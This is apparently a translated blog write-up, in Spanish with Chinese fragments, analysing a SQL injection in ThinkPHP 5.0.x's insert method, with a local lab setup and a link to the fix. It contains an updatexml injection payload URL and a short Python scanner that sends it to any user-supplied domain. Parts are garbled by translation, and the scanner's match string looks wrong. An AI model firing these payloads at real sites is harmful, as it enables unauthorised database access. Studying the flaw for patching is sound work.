Acerca de tp framework
ThinkPHP es un marco de desarrollo de PHP ligero orientado a objetos, rápido y sencillo, gratuito, de código abierto
. Fue fundado a principios de 2006 y lanzado bajo el acuerdo de código abierto Apache2. Nació con el propósito de un desarrollo ágil de aplicaciones WEB y un desarrollo simplificado de aplicaciones empresariales. . ThinkPHP se ha adherido a los principios de diseño concisos y prácticos desde su nacimiento. Mientras mantiene un rendimiento excelente y un código mínimo, también presta atención a la facilidad de uso. Y tiene muchas funciones y características originales. Con la participación activa del equipo de la comunidad, se ha optimizado y mejorado continuamente en términos de facilidad de uso, escalabilidad y rendimiento. Se ha convertido en el marco de desarrollo de aplicaciones WEB más líder e influyente en China: los casos típicos garantizan que se pueda utilizar de forma estable para el desarrollo comercial y a nivel de portal.
Descripción de la vulnerabilidad
Aunque el marco ThinkPHP 5.0.x utiliza un método de consulta parametrizado para operar la base de datos, en los métodos de inserción y actualización, los parámetros entrantes son controlables y no hay un filtrado estricto, lo que finalmente condujo a la aparición de esta vulnerabilidad de inyección SQL.
Preparación preliminar
下载地址:http://www.thinkphp.cn/down/1125.html
Descomprímalo y colóquelo
en Xiaopi , visite la página. Según el artículo del grandullón, aquí necesitamos crear un nuevo campo de base de datos — tabla —
y luego abrirlo C:\phpstudy_pro\WWW\thinkphp_5.0.15\application
para completar los espacios en blanco de acuerdo con lo que escribí anteriormente.
Modificar config.php
Modifique los métodos Add database.php
en application/index/controller/Index.php
la clase Index:
public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}
Luego toma la carga útil escrita por el jefe para acceder al disparador
http://127.0.0.1/thinkphp_5.0.15/public/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
La explicación del gran chico
http://127.0.0.1/thinkphp/ public/ index.php/ index/ index/ index
域名 网站目录 对外访问目录 入口文件 前台 控制器 方法名
扩展:
其中关于 updatexml 函数UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
Análisis de vulnerabilidad
En primer lugar, sabemos que el método de inserción tiene lagunas, luego verifiquemos la implementación específica del método de inserción.
Después de obtener los parámetros a través de la entrada, la variable de nombre de usuario es la siguiente:
username = {
array}[3]
0 = "inc"
1 = "updatexml(1,concat(0x7,user(),0x7e),1)"
2 = "1"
Siga insert, thinkphp/library/think/db/Query.php
ejecute la instrucción de inserción
$sql = $this->builder->insert($data, $options, $replace);
Con el thinkphp/library/think/db/Builder.php
con el parseData que thinkphp/library/think/db/Builder.php
se verá $val
es una matriz, y de acuerdo con el $val[0]
valor de inc, ingresará el 'inc' por la declaración de cambio:
parseKey aquí, que thinkphp/library/think/db/builder/Mysql.php
aquí no es la clave $ entrante para más filtrado y verificación, empalmando con el resultado anterior de parseKey y devolverlo al resultado hasta que la inyección sea exitosa.
Parche de vulnerabilidad
https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b
Dirección del artículo de Big Guy: https://blog.csdn.net/Candyys/article/details/104864761
Basura poc escrito por mí mismo
import requests
import re
#分割线___________________________________
def domain1(domain):
url1 = domain + "/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1"
try:
res = requests.get(url1)
res.encoding = 'utf-8'
html = res.text
html_data = re.findall("456",html)
html_data1 = []
for i in html_data:
if not i in html_data1:
html_data1.append(i)
print("(温馨提示为null可能是不存在该漏洞):" + str(html_data1))
except Exception:
print("请检查网址是否正确")
def main():
domain = input("请输入域名或IP:")
domain1(domain)
if __name__ == '__main__':
main()